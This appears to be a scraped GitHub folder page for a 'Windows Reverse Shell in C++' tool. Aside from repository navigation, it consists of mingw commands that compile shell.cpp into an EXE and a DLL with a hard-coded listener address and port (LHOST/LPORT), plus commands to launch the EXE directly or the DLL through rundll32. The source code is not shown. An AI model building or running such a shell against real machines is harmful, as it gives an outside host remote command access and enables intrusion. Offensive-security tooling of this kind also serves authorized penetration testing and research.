Skip to content

Latest commit

 

History

History

windows-cpp

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Windows Reverse Shell in C++

Compilation:

x86_64-w64-mingw32-gcc -Wall -Wextra -O2 ./shell.cpp -o ./shell.exe -lws2_32 -D LHOST=172.30.253.1 -D LPORT=7002
x86_64-w64-mingw32-gcc -Wall -Wextra -O2 -shared ./shell.cpp -o ./shell.dll -lws2_32 -D LHOST=172.30.253.1 -D LPORT=7002

Execution:

.\shell.exe
rundll32.exe .\shell.dll,Nop